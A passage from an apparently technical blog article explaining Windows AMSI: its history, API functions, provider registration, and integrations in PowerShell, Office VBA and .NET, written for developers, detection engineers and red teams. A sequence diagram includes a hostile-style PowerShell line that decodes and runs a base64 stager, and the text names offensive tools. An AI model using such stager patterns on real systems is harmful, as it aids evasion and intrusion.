&lt;p&gt;The answer is a seven-function Win32 API called the Antimalware Scan Interface [@amsi-portal], or AMSI, and it is the single most consequential malware-defense primitive Microsoft has shipped since &lt;a href=&quot;https://paragmali.com/blog/windows-app-identity-33-year-reinvention/&quot; rel=&quot;noopener&quot;&gt;Authenticode&lt;/a&gt;. AMSI is the only Windows primitive that scans what the script engine actually decided to run, after every layer of obfuscation has been undone, and before the engine commits to running it.&lt;/p&gt;

A versatile Win32 interface standard that lets applications and services pass the post-deobfuscation buffer they are about to execute to any registered antimalware product on the machine. AMSI ships in `amsi.dll` and is integrated into PowerShell, Windows Script Host, Office VBA, Excel 4.0 macros, .NET Framework 4.8, WMI, and User Account Control, among other hosts [@amsi-portal][@msec-xlm-amsi-2021][@amsi-on-mdav].
&lt;p&gt;This article is for four audiences. Windows application developers who want to know how to integrate AMSI without introducing the usual four bugs. Detection engineers who want to know what AMSI emits, where, and how to hunt across it. Red-team operators who want to know which 2016-era bypasses still work in 2026 and which generate so much telemetry they are not worth the risk. AV and EDR vendors who want to register their own provider and not get out-competed by the default one.&lt;/p&gt;
&lt;p&gt;To understand how AMSI works, we have to understand why the 25 years of antivirus that preceded it could not.The 200-millisecond figure in the hook is approximate. Microsoft&apos;s August 2020 disclosure of Defender&apos;s pair-of-classifiers architecture [@msec-amsi-ml-2020] describes &quot;performance-optimized&quot; on-endpoint classifiers that hand off to the cloud only when content is classified as suspicious. The 200 ms in the scene above includes that cloud round trip.&lt;/p&gt;
&lt;h2&gt;2. Why Static AV Failed: 25 Years of the Obfuscation Arms Race&lt;/h2&gt;
&lt;p&gt;Consider a benign one-liner:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Write-Host &apos;pwnd!&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A signature on that exact byte string catches the lazy attacker, and only the lazy attacker. The next attacker writes:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Write-Host (&apos;pwn&apos; + &apos;d!&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The signature dies. So the defender starts emulating expression-evaluation; the attacker switches to &lt;code&gt;Invoke-Expression&lt;/code&gt; of a concatenated string; the defender starts emulating &lt;code&gt;Invoke-Expression&lt;/code&gt;; the attacker base64-encodes the inner script; the defender starts decoding base64 strings; the attacker XORs the base64 against a key cached in a worksheet cell; and at some point in this regress the antivirus engine is, in effect, a re-implementation of PowerShell, except slower, more buggy, and one Patch Tuesday behind. Lee Holmes called out the dead end explicitly in his June 9, 2015 disclosure: at the obfuscated leaf of this regress, &quot;we&apos;re generally past what antivirus engines will emulate or detect, so we won&apos;t necessarily detect what this script is actually doing,&quot; and even where a defender writes a signature for an obfuscator&apos;s pattern, &quot;a signature for it would generate an unacceptable number of false positives&quot; [@holmes-2015-wayback].&lt;/p&gt;
&lt;p&gt;The ladder was not theoretical. It was the operating reality of script-borne malware for 20 years.&lt;/p&gt;
&lt;p&gt;In 1995, WM/Concept [@wiki-concept] became the first widely propagated Word macro virus and established the scriptable-host-as-malware-surface architecture: a benign-looking document carrying executable VBA inside it. On May 4, 2000, a 10 KB VBScript called ILOVEYOU [@wiki-iloveyou] ran through Windows Script Host on roughly 10 percent of all internet-connected computers and caused an estimated US$10 to $15 billion in damages. ILOVEYOU made the architectural diagnosis unmistakable: built-in script engines are a malware-execution surface that defenders cannot wish away.&lt;/p&gt;
&lt;p&gt;By 2014, the surface had matured into a thriving offensive tradecraft: PowerSploit, PowerView, Invoke-Mimikatz, and the Empire C2 framework all ran fileless inside &lt;code&gt;powershell.exe&lt;/code&gt; memory after deobfuscation. On-disk antivirus saw only the encoded wrapper, not the deobfuscated payload that actually ran.&lt;/p&gt;
&lt;p&gt;Daniel Bohannon would close the file on signature-based defenses publicly at DerbyCon 6.0 on September 25, 2016 with Invoke-Obfuscation [@invoke-obfuscation], a PowerShell obfuscator that automated the regress above and turned every public-script signature into a one-bug-away walking target. Bohannon&apos;s release was a refutation, not a tool: it showed that any defender path that pattern-matched on obfuscation artifacts was a path to an unbounded backlog.&lt;/p&gt;
&lt;p&gt;The diagnosis that Holmes named in 2015 and that Bohannon proved a year later is structural. Detection must happen &lt;em&gt;after&lt;/em&gt; deobfuscation (so the obfuscation does not hide the payload), &lt;em&gt;before&lt;/em&gt; execution (so the detector can still refuse), and &lt;em&gt;in the engine that did the deobfuscation&lt;/em&gt; (because only that engine ever holds the deobfuscated bytes). In 2014, no Windows API did that. The next ten years are the story of building one.&lt;/p&gt;
&lt;h2&gt;3. The Pre-AMSI Patchwork&lt;/h2&gt;
&lt;p&gt;Before AMSI, Microsoft and the AV industry shipped four partial answers. Each one closed some of the gap. None closed all of it, because each one was wedged at the wrong place in the pipeline. Here is the timeline of what was tried, when, and what each attempt missed.&lt;/p&gt;

gantt
    title Pre-AMSI script-malware defense timeline
    dateFormat YYYY-MM
    axisFormat %Y&lt;pre&gt;&lt;code&gt;section Threats
WM/Concept (Word macro)        :done, threat1, 1995-08, 1825d
ILOVEYOU (WSH+VBScript)        :done, threat2, 2000-05, 1d
Fileless PowerShell era        :done, threat3, 2014-01, 730d
Invoke-Obfuscation release     :crit, threat4, 2016-09-25, 1d

section Defenses
IOfficeAntiVirus (file-open)   :defense1, 1997-01, 6570d
Module Logging Event 4103      :defense2, 2012-08, 1095d
Script Block Logging 4104      :defense3, 2015-07-29, 365d
AMSI in PowerShell 5.0         :crit, defense4, 2015-07-29, 1d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first attempt was &lt;code&gt;IOfficeAntiVirus&lt;/code&gt;, a COM interface Office 97 introduced in 1997 and that Office 2000 through Office 2010 carried forward. AV products implemented the interface; Office called into it at file-open time. The interface saw the document on disk, before VBA ran. It defeated the 1995-era macro virus that arrived with its payload literal in the document body. It defeated nothing once the VBA runtime started doing AutoOpen-time &lt;code&gt;Application.Run&lt;/code&gt; of strings decoded from cells, because the decoded string was never on disk. The Office 365 Threat Research team&apos;s 2018 retrospective on the limitation [@msec-vba-amsi-2018] is direct: file-open AV does not see what the VBA runtime decides to run at runtime.&lt;/p&gt;
&lt;p&gt;The second attempt was PowerShell module logging, shipped in PowerShell 3.0 in 2012 [@wiki-powershell] as Event ID 4103. It records, after the fact, that a cmdlet ran with a given parameter binding [@ps-logging-windows]. It is forensic, not preventive: by the time Event 4103 is in the Windows Event Log, the cmdlet has already returned. And it records the bound parameters, not the contents of &lt;code&gt;Invoke-Expression&lt;/code&gt;&apos;s argument string, so it sees the call but not the payload.&lt;/p&gt;
&lt;p&gt;The third attempt, shipped on July 29, 2015 alongside Windows 10 1507 and PowerShell 5.0, was Script Block Logging [@ps-logging-windows]. Script Block Logging emits Event ID 4104 with the deobfuscated script block, captured from inside the PowerShell parser on its way to the executor. This is the right artifact at the right moment in terms of &lt;em&gt;what&lt;/em&gt; it sees, but the wrong relationship in terms of &lt;em&gt;what it can do with what it sees&lt;/em&gt;: Event 4104 is asynchronous and observation-only. It cannot refuse the script that produced it. It can only tell the SOC what ran, after it ran.&lt;/p&gt;

A PowerShell 5.0 feature that records every deobfuscated script block to the `Microsoft-Windows-PowerShell/Operational` event log channel as Event 4104. It is a post-hoc forensic record: it captures the cleartext after the parser has emitted it on its way to the executor, but the executor still runs the script [@ps-logging-windows].
&lt;p&gt;The fourth attempt was the antivirus industry&apos;s own response to the gap: bring the script-engine emulators in-house. Implement a JScript emulator inside the AV engine, a VBScript emulator inside the AV engine, a PowerShell emulator inside the AV engine. Run the obfuscated source through your private emulator and inspect what comes out. This was the regress Holmes described as &quot;fragile&quot; in 2015. Every new feature in every shipped engine version was a maintenance bill the AV vendor had to pay. PowerShell shipped a new release every couple of years; JScript varied across IE6/IE7/IE8/Edge/WSH; VBScript varied across WSH and Office. The half-life of any one emulator was short.&lt;/p&gt;
&lt;p&gt;Lee Holmes summarized the dead end in one sentence in his June 9, 2015 post: &quot;antimalware software starts to do basic language emulation,&quot; but &quot;this is a fairly fragile approach&quot; [@holmes-2015-wayback]. The next paragraph in this article is the same paragraph in his.&lt;/p&gt;
&lt;h2&gt;4. The 2015 Eureka: Lee Holmes and the Birth of AMSI&lt;/h2&gt;
&lt;p&gt;On June 9, 2015, Lee Holmes published &lt;em&gt;Windows 10 to Offer Application Developers New Malware Defenses&lt;/em&gt; [@holmes-2015-wayback] on the Microsoft Security Blog. It is the most important malware-defense blog post Microsoft has ever shipped. The same day, Holmes also published &lt;em&gt;PowerShell the Blue Team&lt;/em&gt; [@holmes-blue-team], which named the assume-breach mindset that made AMSI&apos;s design possible.&lt;/p&gt;
&lt;p&gt;The architectural fix Holmes named is the one the previous section&apos;s frustration sets up. Applications hand the post-deobfuscation buffer to AMSI. AMSI hands it to a registered antimalware provider. The provider returns a verdict. If the verdict is &quot;malware,&quot; the application refuses to execute the buffer. The whole exchange happens synchronously, in the calling process, before the engine commits.&lt;/p&gt;

While the malicious script might go through several passes of deobfuscation, it ultimately needs to supply the scripting engine with plain, unobfuscated code.&lt;p&gt;-- Lee Holmes, Microsoft Security Blog, June 9, 2015
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The same observation appears verbatim on the live Microsoft Learn &lt;code&gt;how-amsi-helps&lt;/code&gt; page [@amsi-howto], which carries Holmes 2015&apos;s argument forward in Microsoft&apos;s current documentation: &quot;Script (malicious or otherwise), might go through several passes of de-obfuscation. But you ultimately need to supply the scripting engine with plain, un-obfuscated code.&quot; The dual primary-source anchor makes the citation durable against future Wayback rot.&lt;/p&gt;
&lt;p&gt;That one sentence is the design of AMSI in compressed form. The defender stops trying to reason about the obfuscated source. It reasons about what the engine decided to run. The engine&apos;s deobfuscation work is now the defender&apos;s free lunch.&lt;/p&gt;
&lt;p&gt;The release vehicle was Windows 10 1507 on July 29, 2015, paired with PowerShell 5.0 [@wiki-win10-versions]. The companion piece, &quot;PowerShell the Blue Team&quot; [@holmes-blue-team], framed the broader assume-breach posture: &quot;What did they do? What systems did they connect to? Was any dynamic code invoked, and what was it?&quot; The trio of features Holmes shipped that day -- AMSI, Script Block Logging, and the over-the-shoulder transcripts -- was designed to answer those three questions together.The companion &quot;PowerShell heart the Blue Team&quot; devblogs post is not optional reading if you want the full context. Holmes published the two posts on the same day for a reason: AMSI is the synchronous-blocking sibling, Script Block Logging is the forensic sibling, and Constrained Language Mode is the policy-denial sibling. The trio is co-designed [@holmes-blue-team].&lt;/p&gt;
&lt;p&gt;The architectural insight that closed the loop is small to state and large to absorb. For 20 years the AV industry had been arguing about what to &lt;em&gt;scan&lt;/em&gt;. Holmes pointed out that the answer was about &lt;em&gt;when&lt;/em&gt; to scan. The naive on-disk and on-event-log approaches had failed not because their pattern matching was poor but because they were inspecting the wrong artifact at the wrong moment. The only software that ever holds the deobfuscated bytes is the engine that will execute them. The only moment that artifact exists is the moment just before the executor commits. The only place a defender can stand and see the buffer is inside that engine&apos;s process.&lt;/p&gt;
&lt;p&gt;That is the answer Holmes named, and it is the answer Microsoft has spent the last ten years implementing across seven runtimes and defending against six bypass eras. The next section is the architecture of what Holmes named.&lt;/p&gt;
&lt;h2&gt;5. The AMSI Architecture: Two API Surfaces, One Provider Model&lt;/h2&gt;
&lt;p&gt;AMSI is two API surfaces (flat C and COM) and one provider model. The flat-C surface is what script-engine hosts call; the COM surface is what AV providers implement. Both surfaces converge on the same &lt;code&gt;amsi.dll&lt;/code&gt;, and &lt;code&gt;amsi.dll&lt;/code&gt; runs in the calling process. Here is the full hot path for one PowerShell command.&lt;/p&gt;

sequenceDiagram
    autonumber
    participant User
    participant PS as powershell.exe
    participant AU as AmsiUtils.ScanContent
    participant AD as amsi.dll
    participant MP as MpOav.dll (in-process)
    participant ME as MsMpEng.exe (PPL)&lt;pre&gt;&lt;code&gt;User-&amp;gt;&amp;gt;PS: iex ([Convert]::FromBase64String($stager))
PS-&amp;gt;&amp;gt;PS: tokenize, expand, deobfuscate
PS-&amp;gt;&amp;gt;AU: ScanContent(buf, name, session)
AU-&amp;gt;&amp;gt;AD: AmsiScanBuffer(ctx, buf, len, name, session, out result)
AD-&amp;gt;&amp;gt;MP: IAntimalwareProvider::Scan(stream)
MP-&amp;gt;&amp;gt;ME: local RPC: scan(stream)
ME--&amp;gt;&amp;gt;MP: AMSI_RESULT_DETECTED (&amp;gt;= 32768)
MP--&amp;gt;&amp;gt;AD: HRESULT S_OK, result set
AD--&amp;gt;&amp;gt;AU: AMSI_RESULT_DETECTED
AU--&amp;gt;&amp;gt;PS: AmsiResultIsMalware(result) == TRUE
PS--&amp;gt;&amp;gt;User: ParseException: script content is malicious
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.1 The Win32 flat-C API&lt;/h3&gt;
&lt;p&gt;The flat-C surface is seven functions, declared in &lt;code&gt;amsi.h&lt;/code&gt;, exported from &lt;code&gt;amsi.dll&lt;/code&gt;, with minimum support Windows 10 / Windows Server 2016 [@amsi-scanbuffer]. A host typically calls them in this order:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;AmsiInitialize(LPCWSTR appName, HAMSICONTEXT *amsiContext)&lt;/code&gt; once at startup. The &lt;code&gt;appName&lt;/code&gt; string identifies the host: PowerShell passes &lt;code&gt;&quot;PowerShell_&amp;lt;GUID&amp;gt;&quot;&lt;/code&gt;, .NET passes &lt;code&gt;&quot;DotNet&quot;&lt;/code&gt;, Office passes its application name [@amsi-initialize]. The string later surfaces in telemetry as &lt;code&gt;DeviceEvents.AmsiProcessName&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AmsiOpenSession(HAMSICONTEXT, HAMSISESSION *session)&lt;/code&gt; per logical user command. The session handle is a correlation primitive: multiple &lt;code&gt;AmsiScanBuffer&lt;/code&gt; calls inside one session let the provider re-join partial deobfuscations into one decision [@amsi-opensession].&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AmsiScanBuffer(ctx, buffer, length, contentName, session, &amp;amp;result)&lt;/code&gt; per buffer. This is the hot path. &lt;code&gt;contentName&lt;/code&gt; is a human-readable label the SOC analyst will see [@amsi-scanbuffer].&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AmsiResultIsMalware(result)&lt;/code&gt; to interpret the out parameter. The macro evaluates to non-zero when the AMSI_RESULT is at or above 32768 [@amsi-resultismalware].&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AmsiCloseSession&lt;/code&gt; to release the session handle.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AmsiUninitialize&lt;/code&gt; at shutdown.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The seventh function, &lt;code&gt;AmsiScanString&lt;/code&gt;, is a thin wrapper that takes a wide-character string instead of a buffer-plus-length pair. Microsoft replaced PowerShell&apos;s &lt;code&gt;AmsiScanString&lt;/code&gt; call site with &lt;code&gt;AmsiScanBuffer&lt;/code&gt; in Windows 10 1709 as part of the response to the first CyberArk in-memory patch attack [@cyberark-redux]; we will return to that in §8.&lt;/p&gt;

The flat-C Win32 function any AMSI-aware host calls to submit a buffer for scanning. Signature: `HRESULT AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result)`. Returns S_OK on a completed scan; the verdict is delivered through the `result` out parameter. Minimum support Windows 10 desktop / Windows Server 2016 [@amsi-scanbuffer].
&lt;p&gt;The &lt;code&gt;AMSI_RESULT&lt;/code&gt; enumeration is the interface contract for verdicts. The values are:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;right&quot;&gt;Value&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Semantics&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;0&lt;/td&gt;
&lt;td&gt;AMSI_RESULT_CLEAN&lt;/td&gt;
&lt;td&gt;Known clean&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;
&lt;td&gt;AMSI_RESULT_NOT_DETECTED&lt;/td&gt;
&lt;td&gt;Unknown but not malicious&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;16384 (0x4000)&lt;/td&gt;
&lt;td&gt;AMSI_RESULT_BLOCKED_BY_ADMIN_START&lt;/td&gt;
&lt;td&gt;Policy block (range start)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;20479 (0x4FFF)&lt;/td&gt;
&lt;td&gt;AMSI_RESULT_BLOCKED_BY_ADMIN_END&lt;/td&gt;
&lt;td&gt;Policy block (range end)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;32768 (0x8000)&lt;/td&gt;
&lt;td&gt;AMSI_RESULT_DETECTED&lt;/td&gt;
&lt;td&gt;Provider verdict: malicious; &lt;code&gt;AmsiResultIsMalware&lt;/code&gt; true&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Any return value at or above 32768 is malware; values 16384 to 20479 are administrative policy blocks (e.g. AppLocker / &lt;a href=&quot;https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/&quot; rel=&quot;noopener&quot;&gt;WDAC&lt;/a&gt;), and values 0 and 1 are negative results [@amsi-result-enum]. The split between 16384 and 32768 lets a host distinguish &quot;the AV refused this&quot; from &quot;policy refused this,&quot; which lets the host display different error messages.&lt;/p&gt;
&lt;h3&gt;5.2 The COM surface&lt;/h3&gt;
&lt;p&gt;For streamable content (Office macros, .NET assemblies loaded from memory, large IM payloads), the flat-C buffer-plus-length call is the wrong abstraction. AMSI&apos;s COM surface, &lt;code&gt;IAmsiStream&lt;/code&gt; plus &lt;code&gt;IAntimalwareProvider&lt;/code&gt;, lets the host hand a stream callback to the provider and lets the provider pull as much content as it wants [@amsi-iantimalware]. The reference implementation is in Microsoft&apos;s Windows-classic-samples AmsiProvider [@amsi-sample] repository.&lt;/p&gt;
&lt;p&gt;Rule of thumb: COM/stream for streamable content, flat-C for one-shot buffers. Both end up at the same provider through the same in-process load.&lt;/p&gt;
&lt;h3&gt;5.3 The provider model&lt;/h3&gt;
&lt;p&gt;AMSI providers are in-process COM servers. Registration writes two registry trees [@amsi-devaudience]:&lt;/p&gt;

flowchart TD
    A[Provider DLL: vendor implements IAntimalwareProvider] --&amp;gt; B[regsvr32 vendor.dll]
    B --&amp;gt; C[&quot;HKLM Software Classes CLSID {CLSID} InprocServer32 = vendor.dll&quot;]
    B --&amp;gt; D[&quot;HKLM Software Classes CLSID {CLSID} InprocServer32 ThreadingModel = Both&quot;]
    B --&amp;gt; E[&quot;HKLM Software Microsoft AMSI Providers {CLSID} = present&quot;]
    C --&amp;gt; F[amsi.dll AmsiInitialize]
    D --&amp;gt; F
    E --&amp;gt; F
    F --&amp;gt; G[CoCreateInstance for each registered CLSID]
    G --&amp;gt; H[Provider loaded in-process; called on every AmsiScanBuffer]
&lt;p&gt;The first tree, &lt;code&gt;HKLM\SOFTWARE\Classes\CLSID\{CLSID}&lt;/code&gt;, is standard COM. It names the provider DLL and the ThreadingModel (which must be &lt;code&gt;Both&lt;/code&gt;; marshaling proxies would defeat the in-process performance assumption). The second tree, &lt;code&gt;HKLM\SOFTWARE\Microsoft\AMSI\Providers\{CLSID}&lt;/code&gt;, is the AMSI-specific opt-in. &lt;code&gt;amsi.dll&lt;/code&gt; enumerates the Providers subkey at &lt;code&gt;AmsiInitialize&lt;/code&gt; time, calls &lt;code&gt;CoCreateInstance&lt;/code&gt; for each one in-process, and then calls each provider on every subsequent &lt;code&gt;AmsiScanBuffer&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Two security mitigations have hardened that load over time. Windows 10 1709 (October 17, 2017) tightened the loader rules: provider DLLs must &lt;code&gt;LoadLibrary&lt;/code&gt; their dependencies with full paths, or the DLL hijack mitigations will refuse to satisfy unqualified loads [@amsi-devaudience]. Windows 10 1903 (May 21, 2019) added an optional Authenticode signing check: when &lt;code&gt;HKLM\SOFTWARE\Microsoft\AMSI\FeatureBits&lt;/code&gt; is set to &lt;code&gt;0x2&lt;/code&gt;, unsigned provider DLLs are refused [@amsi-iantimalware].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If you ship an AMSI provider, Authenticode-sign the provider DLL. Windows 10 1903 introduced an opt-in signing check at &lt;code&gt;HKLM\SOFTWARE\Microsoft\AMSI\FeatureBits = 0x2&lt;/code&gt;. Several large enterprise customers set that bit, and unsigned provider DLLs will silently refuse to load on those machines [@amsi-iantimalware].&lt;/p&gt;
&lt;/blockquote&gt;

An in-process COM server (DLL) that implements `IAntimalwareProvider` and is registered under two registry trees: the standard COM CLSID tree under `HKLM\Software\Classes\CLSID\{CLSID}` and the AMSI-specific opt-in tree under `HKLM\Software\Microsoft\AMSI\Providers\{CLSID}`. `amsi.dll` loads every registered provider into the scanning host&apos;s process at `AmsiInitialize` time [@amsi-devaudience].
&lt;p&gt;The &lt;code&gt;Both&lt;/code&gt; threading model is mandatory for AMSI providers. AMSI calls into the provider on whatever thread the host happens to be running, and marshaling proxies would add cross-apartment round trips that destroy the in-process performance assumption [@amsi-devaudience].&lt;/p&gt;
&lt;h3&gt;5.4 The default provider: MpOav.dll&lt;/h3&gt;
&lt;p&gt;Microsoft Defender&apos;s AMSI provider is &lt;code&gt;MpOav.dll&lt;/code&gt;. CLSID &lt;code&gt;{2781761E-28E0-4109-99FE-B9D127C57AFE}&lt;/code&gt;. Path &lt;code&gt;%ProgramData%\Microsoft\Windows Defender\Platform\&amp;lt;version&amp;gt;\MpOav.dll&lt;/code&gt; [@redcanary-amsi]. It loads in-process to the scanning application: into &lt;code&gt;powershell.exe&lt;/code&gt;, into &lt;code&gt;winword.exe&lt;/code&gt;, into &lt;code&gt;wscript.exe&lt;/code&gt;. It does not do the heavy lifting; it bridges out to &lt;code&gt;MsMpEng.exe&lt;/code&gt; via local RPC for the signature engine, cloud reputation lookup, and the on-endpoint machine-learning model.&lt;/p&gt;

Microsoft Defender&apos;s AMSI provider DLL, located at `%ProgramData%\Microsoft\Windows Defender\Platform\\MpOav.dll`. Loaded in-process to the scanning application; bridges to `MsMpEng.exe` via local RPC for the heavy-lifting scan [@redcanary-amsi].
&lt;p&gt;&lt;code&gt;MpOav.dll&lt;/code&gt; lives in the scanning host&apos;s address space (&lt;code&gt;powershell.exe&lt;/code&gt;, &lt;code&gt;winword.exe&lt;/code&gt;, ...), not in &lt;code&gt;MsMpEng.exe&lt;/code&gt;. Defender&apos;s &lt;a href=&quot;https://paragmali.com/blog/windows-app-identity-33-year-reinvention/&quot; rel=&quot;noopener&quot;&gt;Protected Process Light&lt;/a&gt; hardening protects &lt;code&gt;MsMpEng.exe&lt;/code&gt;&apos;s process, but it does &lt;em&gt;not&lt;/em&gt; protect the AMSI provider DLL that gets loaded into PowerShell. That asymmetry is the basis of every in-process bypass in §8 [@redcanary-amsi].&lt;/p&gt;
&lt;h3&gt;5.5 Sessions, correlation, content names&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;HAMSISESSION&lt;/code&gt; handle returned by &lt;code&gt;AmsiOpenSession&lt;/code&gt; is the correlation primitive. If a single PowerShell command produces three deobfuscation steps that yield three &lt;code&gt;AmsiScanBuffer&lt;/code&gt; calls, sharing one session across all three lets the provider join them: &quot;I just saw a base64 alphabet, then a key-rotation pattern, then &lt;code&gt;Invoke-Mimikatz&lt;/code&gt;. Verdict: malicious. Reason: the three together are the obfuscation chain.&quot; The session-shared verdict is more informative than any single buffer would be in isolation [@amsi-opensession].&lt;/p&gt;

An opaque correlation handle returned by `AmsiOpenSession`. Multiple `AmsiScanBuffer` calls that share a `HAMSISESSION` value belong to one logical user command; the provider may re-join their partial deobfuscations into a single verdict [@amsi-opensession].
&lt;p&gt;The &lt;code&gt;contentName&lt;/code&gt; argument to &lt;code&gt;AmsiScanBuffer&lt;/code&gt; is what the SOC analyst sees in &lt;code&gt;DeviceEvents.FileName&lt;/code&gt; at hunt time. Hosts that pass a meaningful &lt;code&gt;contentName&lt;/code&gt; (the script-block ID, the assembly&apos;s friendly name, the URL the macro came from) give the SOC the breadcrumb they need to triage; hosts that pass a random GUID or an empty string give the SOC a column of noise [@deviceevents-table].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; AMSI&apos;s value comes from running inside the same process as the script engine, because that is the only place that ever holds the deobfuscated bytes. Every weakness AMSI has also comes from running inside the same process, because anyone with code execution there can mute it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We now know what AMSI is. The next section walks every shipping integration in Windows 10 and 11, and reveals that AMSI was not, in 2015, where most Windows scripted-content malware actually ran.&lt;/p&gt;
&lt;h2&gt;6. The Call-Site Catalogue: Where AMSI Plugs Into Windows&lt;/h2&gt;
&lt;p&gt;AMSI shipped in &lt;code&gt;amsi.dll&lt;/code&gt; in 2015, but &lt;code&gt;amsi.dll&lt;/code&gt; exporting &lt;code&gt;AmsiScanBuffer&lt;/code&gt; does not scan anything by itself. It scans whatever any host process bothers to hand it. The story of AMSI between 2015 and 2021 is one host integration at a time. Here is the order they shipped.&lt;/p&gt;

gantt
    title AMSI integration by runtime
    dateFormat YYYY-MM
    axisFormat %Y&lt;pre&gt;&lt;code&gt;PowerShell 5.0          :ps, 2015-07, 3650d
Windows Script Host     :wsh, 2015-07, 3650d
Office VBA              :vba, 2018-09, 2555d
.NET Framework 4.8      :dn, 2019-04, 2555d
WMI scripting           :wmi, 2019-05, 2555d
Excel 4.0 macros (XLM)  :xlm, 2021-03, 1825d
Win11 in-memory scripts :w11, 2021-10, 1825d
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PowerShell 5.0 (July 29, 2015)&lt;/h3&gt;
&lt;p&gt;PowerShell is the reference integration. The PowerShell host calls &lt;code&gt;System.Management.Automation.AmsiUtils.ScanContent&lt;/code&gt;, which (after a one-time check on the &lt;code&gt;amsiInitFailed&lt;/code&gt; flag and a lazy &lt;code&gt;AmsiInitialize&lt;/code&gt;) calls &lt;code&gt;AmsiNativeMethods.AmsiScanBuffer&lt;/code&gt; on the deobfuscated script block [@psa-clr-hooking]. The integration matches Holmes&apos;s design intent verbatim: the buffer handed to AMSI is the buffer the executor is about to run.&lt;/p&gt;
&lt;h3&gt;Windows Script Host (2015)&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;wscript.exe&lt;/code&gt; and &lt;code&gt;cscript.exe&lt;/code&gt;, the hosts that ran ILOVEYOU in 2000, integrate AMSI in the same release vehicle as PowerShell 5.0 [@amsi-portal]. Every JScript or VBScript source goes through &lt;code&gt;AmsiScanBuffer&lt;/code&gt; before WSH executes it, and runtime eval-style constructions (&lt;code&gt;new ActiveXObject(&apos;WScript.Shell&apos;).Run(...)&lt;/code&gt; with a dynamically built command line) get scanned at the point where the runtime resolves them.&lt;/p&gt;
&lt;h3&gt;Office VBA (September 12, 2018)&lt;/h3&gt;
&lt;p&gt;The Office VBA integration was the first non-script-engine AMSI host, and it used a new abstraction: the trigger-buffer architecture. The VBA runtime maintains a circular buffer of Win32, COM, and VBA API calls plus their arguments. When VBA observes a high-risk trigger -- &lt;code&gt;Shell&lt;/code&gt; invocation, &lt;code&gt;CreateObject(&quot;WScript.Shell&quot;)&lt;/code&gt;, &lt;code&gt;Application.Run&lt;/code&gt; of a decoded string -- it halts the macro and flushes the circular buffer through &lt;code&gt;AmsiScanBuffer&lt;/code&gt; [@amsi-howto].&lt;/p&gt;

The dispatch pattern used by Office VBA and Excel 4.0 AMSI integrations. The runtime maintains a circular buffer of API calls and arguments and flushes it through `AmsiScanBuffer` when a high-risk trigger (e.g. `CreateObject(&quot;WScript.Shell&quot;)`, `Shell()`, a file-write API) fires. The provider sees the trigger plus its prior-API context, not just one isolated call [@amsi-howto].

Office 365 client applications now integrate with Antimalware Scan Interface (AMSI), enabling antivirus and other security solutions to scan macros and other scripts at runtime to check for malicious behavior.&lt;p&gt;-- Microsoft Office 365 Threat Research, September 12, 2018
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The Office team published the design in the September 12, 2018 announcement [@msec-vba-amsi-2018]. The architectural payoff: a provider sees not just one trigger call but the macro&apos;s prior-API context, which is what distinguishes &lt;code&gt;Application.Run(&quot;notepad.exe&quot;)&lt;/code&gt; from &lt;code&gt;Application.Run(&amp;lt;base64-decoded-PowerShell&amp;gt;)&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;.NET Framework 4.8 (April 2019)&lt;/h3&gt;
&lt;p&gt;The next gap was in-memory .NET. &lt;code&gt;Assembly.Load(byte[])&lt;/code&gt;, the load path Cobalt Strike&apos;s &lt;code&gt;execute-assembly&lt;/code&gt; command and Sliver&apos;s SharpLoader use, did not produce a file on disk and did not generate any of the file-system events on-disk AV depended on. .NET Framework 4.8 closed it: &quot;In previous versions of .NET Framework, Windows Defender or third-party antimalware software would automatically scan all assemblies loaded from disk for malware. However, assemblies loaded from elsewhere, such as by using &lt;code&gt;Assembly.Load(byte[])&lt;/code&gt;, would not be scanned ... .NET Framework 4.8 on Windows 10 triggers scans for those assemblies by Windows Defender and many other antimalware solutions that implement the Antimalware Scan Interface&quot; [@dotnet-48].&lt;/p&gt;
&lt;h3&gt;WMI scripting (Windows 10 1903, May 2019)&lt;/h3&gt;
